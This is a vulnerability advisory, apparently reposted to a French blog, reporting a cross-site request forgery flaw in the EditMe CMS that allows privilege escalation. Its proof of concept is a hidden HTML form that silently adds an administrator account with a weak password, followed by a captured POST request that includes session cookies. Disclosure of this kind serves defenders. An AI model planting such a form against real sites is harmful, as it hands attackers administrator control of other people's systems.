EditMe CMS – CSRF/Privilege Escalation

A cross site request forgery vulnerability has been discovered in the official EditMe content managament system. The vulnerability allows to perform malicious client-side web-application requests to execute non-protected functions with own web context. In the absence of security token, an attacker could execute arbitrary code in the administrators browser to gain unauthorized access to the administrator access privileges.

Product & Service Introduction:

EditMe is a framework that serves as a Platform as a Service to build custom Web Applications, Web Prototyping,and Web CMS. CMS in which any page can be a server side script that implements whatever dynamic functionality you dream up. That’s EditMe. No FTP servers, compilers or IDEs required. EditMe’s API uses server-side JavaScript and our templates use XML, so there are no new languages to lear.

(Copy of the Vendor Homepage: http://www.editme.com/)

Date of Discovery:


Exploitation Technique:


Platfom Tested:

Windows 7

Levels Risk :

Proof of Concept (PoC):
Cross site request forgery web vulnerability can be exploited by malicious web application without privileged user account and without user interaction. To demonstrate safety or reproduce csrf web vulnerability information and follow the steps below to continue provided.

--- PoC: CSRF Exploitation ---
<h2>Privilege Escalate CSRF Vulnerability</h2>
<form action="http://pentest.editme.com/_Register" method="post"> 
<input name="mode" value="AdminAdd" type="hidden"> 
<input name="redirect" value="" type="hidden"> 
<td><select name="user-groupname">  
<option value="A"selected="">Administrator</option></select></td> 
<input name="user-username" value="VulnerabilityLab" type="hidden">
<input name="user-password" value="1234" type="hidden">
<input name="user-password2" value="1234" type="hidden">
<input name="user-email" value="tested@live.fr"type="hidden">
<input class="button" style="font-size:110%" name="regSubmit" value="Save" type="submit"> 
--- PoC Session Logs [POST]---
Status: 200 [OK]
Host: pentest.editme.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __utma=164978144.641387690.1478254033.1478262268.1478328738.3; __utmz=164978144.1478328738.3.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); km_lv=x; km_ai=i3E6P9IiO690CMxX353C5RCJAVY%3D; km_uq=; __utma=1.330307796.1478254213.1478254213.1478329355.2; __utmz=1.1478254213.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=164978144.3.10.1478328738; __utmc=164978144; JSESSIONID=377D65CA3361D7998A1173C97420C846; visited=" Home 404"; __utmb=; __utmc=1; __utmt=1; editme-user=admin; editme-key="ECiu7PBk57GYeaLPUxHeDw=="
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 153
POST Method: mode=AdminAdd&redirect=&user-groupname=A&user-username=VulnerabilityLab&user-password=1234&user-password2=1234&user-email=tested%40live.fr&regSubmit=Save

Soyez le premier à commenter

Poster un Commentaire

Votre adresse de messagerie ne sera pas publiée.